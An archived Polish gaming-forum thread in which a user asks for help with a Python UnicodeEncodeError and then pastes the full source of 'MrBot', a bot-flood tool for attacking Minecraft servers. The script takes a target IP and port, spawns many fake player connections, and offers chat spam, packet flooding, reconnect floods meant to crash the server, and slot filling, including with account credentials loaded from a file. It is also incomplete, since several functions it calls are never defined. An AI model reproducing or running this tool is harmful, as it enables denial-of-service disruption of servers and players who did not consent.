Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

Błąd UnicodeEncodeError: 'ascii' codec can't encode character u'\u015b' in position 14: ordinal not in range(128)


Rekomendowane odpowiedzi

Opublikowano

Witam mam problemik, iż wyskakuje mi błąd

 UnicodeEncodeError: 'ascii' codec can't encode character u'\u015b' in position 14: ordinal not in range(128)

prosze o odp.

Opublikowano

 

Spróbuj tak:

print u"\u015b".encode("utf-8")

Tyko jest problem na 229 liniek kodu nie wiem gdzie to wpisać :(

Pisałem to i nie pamiętam gdzie to może być...

Opublikowano

Tyko jest problem na 229 liniek kodu nie wiem gdzie to wpisać :(

Pisałem to i nie pamiętam gdzie to może być...

 

Dodaj .encode("utf-8") wszędzie tam gdzie do stdout wypisujesz tekst z polskimi znakami (lub inne znaki utf-8).

Opublikowano

Dodaj .encode("utf-8") wszędzie tam gdzie do stdout wypisujesz tekst z polskimi znakami (lub inne znaki utf-8).

Jednak nigdzie tego nie mam oto cały kod:

import Mrlib, socks, time, random, threading, string, ProxyManager, sys, binascii, time
print '--==[ Witaj w MrBot ]==--'
print
print '--==[ Stworzony przez MrNikrutix ]==--'
print
print 'Autorzy: MrNikrutix i MrAnglov'
print
print 'Dziala na wersje 1.7.2'
print 'Wersja protokolu: 1.0'
print 'Uwaga jest to wersja Beta'
target = raw_input('Podaj ip: ')
port = raw_input('Podaj port:')
threads = input('Podaj liczbe Botow: ')
pCount = 3
singleMessage = False
print
print 'Typ Ataku'
print
print '[1] Itemy z Creative'
print '[2] Spam na chat'
print '[3] Dodaj Pakiety'
print '[4] Wywalenie serwera z powodu pakietow'
print '[5] Pelen serwer'
print
optionatt = input('Podaj rodzaj ataku!: ')
if optionatt == 1:
    creativeDrop = True
    chatFlood = False
    reconnectFlood = False
    packetFlood = False
    timeout = False
    prependFlood = ''
    staticFloodMessage = ''
    authFlood = False
if optionatt == 2:
    creativeDrop = False
    chatFlood = True
    staticFloodMessage = raw_input('Podaj jaka? wiadomosc chcesz wysylac!:  ')
    prependFlood = ''
    reconnectFlood = False
    packetFlood = False
    timeout = False
    authFlood = False
if optionatt == 3:
    creativeDrop = False
    chatFlood = False
    reconnectFlood = False
    packetFlood = True
    timeout = False
    prependFlood = ''
    staticFloodMessage = ''
    authFlood = False
if optionatt == 4:
    creativeDrop = False
    chatFlood = False
    reconnectFlood = True
    packetFlood = False
    timeout = False
    prependFlood = ''
    staticFloodMessage = ''
    authFlood = False
if optionatt == 5:
    creativeDrop = False
    chatFlood = False
    reconnectFlood = False
    packetFlood = False
    timeout = False
    prependFlood = ''
    staticFloodMessage = ''
    authFlood = True
print
print 'Opcje nicku:'
print
print '[1] Konta premium wejdz w alts.txt i wpisz tam login i haslo w postaci login:haslo'
print '[2] Randomowe nicki'
print '[3] Nicki z listy wejdz w nicks.txt aby je zmienic lub dodac'
print '[4] Jeden nick'
print '[5] Nick z whitelist'
print
optionick = input('Wybierz opcje: ')
if optionick == 1:
    nickMode = 'alts'
    masterNick = ''
if optionick == 2:
    nickMode = 'random'
    masterNick = ''
if optionick == 3:
    nickMode = 'nicklist'
    masterNick = ''
if optionick == 4:
    nickMode = 'static'
    staticNick = raw_input('Wpisz nick: ')
    masterNick = ''
if optionick == 5:
    nickMode = 'no'
    masterNick = raw_input('Wpisz nick z whitelisty: ')
canReconnect = False
skipNicks = [masterNick]


def parse_ip(target, default = port):
    srv = target.replace('\n', '').split(':')
    if len(srv) == 1:
        prt = default
    else:
        prt = int(srv[1])
    return {'ip': srv[0],
     'port': prt}




target = parse_ip(target)
thhreads = list()
fl = open(target['ip'] + '.nickpool.txt', 'a+', 0)
nicks = ['TheGame']
if nickMode == 'alts':
    nicks = open('alts.txt').readlines()
elif nickMode == 'nicklist':
    nicks = open('nicks.txt').readlines()
elif nickMode == 'bypass':
    fl = open(target['ip'] + '.nickpool.txt', 'a+', 0)
    nicks = fl.readlines()
    syncprint('Laduje haslo!')


    def event(id, object):
        if id == '\xc9':
            name = object._readStringLong().replace('\xa7f', '')
            isOnline = object._getBytes(1)
            ping = object._getBytes(2)
            if name in skipNicks:
                return True
            if name in nicks:
                return True
            object._log('Adding ' + name)
            nicks.append(name)
            jobs.append((name.replace('\n', ''), ''))
            fl.write(name + '\n')
            return True
        return False




    def eventHook():
        while True:
            x = time.time()
            Mrlib.CraftPlayer(masterNick, password='', proxy=None, server=(target['ip'], int(target['port'])), eventHook=event, debug=False)._connect()
            while time.time() - x <= 4:
                time.sleep(1)


            print '-> podlaczanie na nowo'


        return




    th = threading.Thread(target=eventHook)
    th.daemon = True
    thhreads.append(th)
    th.start()
elif nickMode == 'static':
    nicks = list()
    for x in xrange(1, 50):
        nicks.append(staticNick)


actions = []
if creativeDrop == True:
    actions.append('creativeDrop')
if chatFlood == True:
    actions.append('chatFlood')
if reconnectFlood == True:
    actions.append('reconnectFlood')
if packetFlood == True:
    actions.append('pFlood')
if singleMessage == True:
    actions.append('sM')
if timeout == True:
    actions.append('tO')
if authFlood == True:
    actions.append('authFlood')
syncprint('======== MisterBot ========')
syncprint('')
syncprint('Startuje')
syncprint('')
jobs = list()
lk = threading.Lock()


def cbck(x, y):
    try:
        jobs.remove((y._nickname, y._password))
    except:
        pass


    print 'callback'




def ThreadEntry():
    with lk:
        pass
    while True:
        try:
            if nickMode == 'random':
                job = (prepend + ''.join((random.choice(string.letters + string.digits) for x in range(random.randint(6 - len(prepend), 15 - len(prepend))))), '')
            else:
                with lk:
                    job = jobs.pop(0)
                    jobs.append(job)
            nickname, password = job
            Mrlib.CraftPlayer(nickname, password=password, proxy='', server=(target['ip'], int(target['port'])), attacks=actions, prependFlood=prependFlood, msg=staticFloodMessage, debug=False, printchat=False, count=pCount, callback=cbck)._connect()
        except:
            pass




for nickname in nicks:
    password = ''
    if nickMode == 'alts':
        nickname, password = nickname.replace('\n', '').split(':')
    jobs.append((nickname.replace('\n', ''), password))


print 'Laduje Boty!...'
with lk:
    for x in xrange(threads):
        th = threading.Thread(target=ThreadEntry)
        th.daemon = True
        thhreads.append(th)
        th.start()


print '!'
try:
    while True:
        time.sleep(1000)


except (KeyboardInterrupt, SystemExit):
    synckill('\nReceived keyboard interrupt, quitting!')

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...